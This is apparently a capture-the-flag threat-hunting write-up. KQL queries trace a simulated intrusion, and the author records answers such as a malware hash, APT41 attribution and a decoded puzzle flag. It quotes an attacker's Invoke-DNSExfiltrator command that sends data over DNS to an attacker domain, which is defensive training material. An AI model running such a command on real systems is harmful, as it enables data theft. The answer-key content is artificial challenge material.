ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe")
Output:
Getting the last affected user with the last timestamp and looking through the commands:
ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | where username == "jojones" and hostname == "NYEL-DESKTOP" ProcessEvents | where username == "jojones" and hostname == "NYEL-DESKTOP" and timestamp > datetime(2023-05-17T09:20:15Z)
Attacker was doing recon:
Getting the first timestamp from the attack, and viewing the commands (Unsuspicious ones were filtered out at the end):
let affected_username = ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | distinct username; let affected_hostname = ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | distinct hostname; ProcessEvents | where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z) | distinct process_commandline | where process_commandline !contains "Teams.exe" and process_commandline !contains "Spotify" and process_commandline !contains "EXCEL.EXE" and process_commandline !contains "WINWORD.EXE" and process_commandline !contains "OneDrive.exe"
Suspicious/Unusual commands:
Trying
Invoke-DNSExfiltrator
:let affected_username = ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | distinct username; let affected_hostname = ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | distinct hostname; ProcessEvents | where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z) | where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500"
2023-05-26T10:33:04Z(The first occurrence ofInvoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500
)
Extra note:
let affected_username = ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | distinct username; let affected_hostname = ProcessEvents | where parent_process_name in ("TSVIPSrv.dll", "1.exe", "i.exe", "wmi.dll", "procdump64.exe") | distinct hostname; FileCreationEvents | where hostname in (affected_hostname) and username in (affected_username) and timestamp > datetime(2023-05-10T06:50:05Z)
- What MITRE Technique is this aligned with?
T1048 (Exfiltration - Exfiltration Over Alternative Protocol)
- How many hosts are affected by this action?
ProcessEvents | where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500" | distinct hostname | count
- How many distinct job roles were affected by this action?
- Marketing Director
- Chief Executive Officer
- Sales Director
- Chief Operations Officer
- Chief Financial Officer
let victim_hostname = ProcessEvents | where process_commandline contains "Invoke-DNSExfiltrator -i Invoke-DNSExfiltrator.ps1 -d exfil.castlesand.zip -p ssad3 -doh cloudflare -t 500" | distinct hostname; Employees | where hostname in (victim_hostname) | distinct role | count
Fun fact, the roles are:
Section 5: A clean sweep 🧹
- Look up the IP addresses from Q8. Which IP address is in the country that hosted the winter olympics a few years ago?
124.138.210.88 (South Korea)
- Which one hosted the winter olympics recently? If there's more than one, post any of them.
223.9.222.59 (China) 43.185.57.65 (China)
- Search the malicious files found in Q12 on VirusTotal. Which file appears to not be malicious? Copy and paste the SHA256 hash.
e2a7a9a803c6a4d2d503bb78a73cd9951e901beb5fb450a2821eaf740fc48496
- Who signed the file?
Microsoft (Check on VirusTotal)
- Research the malware files some more. Which threat actor group may have used these in the past?
APT41 (Based on VirusTotal Community - The same for every malicious malware files)
- For what you found in Section 4, Q15, who developed this malware? Paste their username.
Arno0x (From https://github.com/Arno0x/DNSExfiltrator/tree/master)
Section 6: Security Jeopardy REDUX 🕺
XXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1t9XXp5b2JrcmFoc1t5XXp5b2JrcmFoc1tlXXp5b2JrcmFoc1t2XXp5b2JrcmFoc1t0XXp5b2JrcmFoc1tuXXp5b2JrcmFoc1tpXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1t5XXp5b2JrcmFoc1sgXXp5b2JrcmFoc1txXXp5b2JrcmFoc1thXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tsXXp5b2JrcmFoc1tiXXp5b2JrcmFoc1tvXXp5b2JrcmFoc1t4XXp5b2JrcmFoc1tlXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1t1XXp5b2JrcmFoc1tmXXp5b2JrcmFoc1t7XXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1sgXXp5b2JrcmFoc1tuXXp5b2JrcmFoc1thXXp5b2JrcmFoc1s=
Solution:
- Base64
- Discard the redundant data
- ROT13
- Reverse the string
sharkboy and lavagirl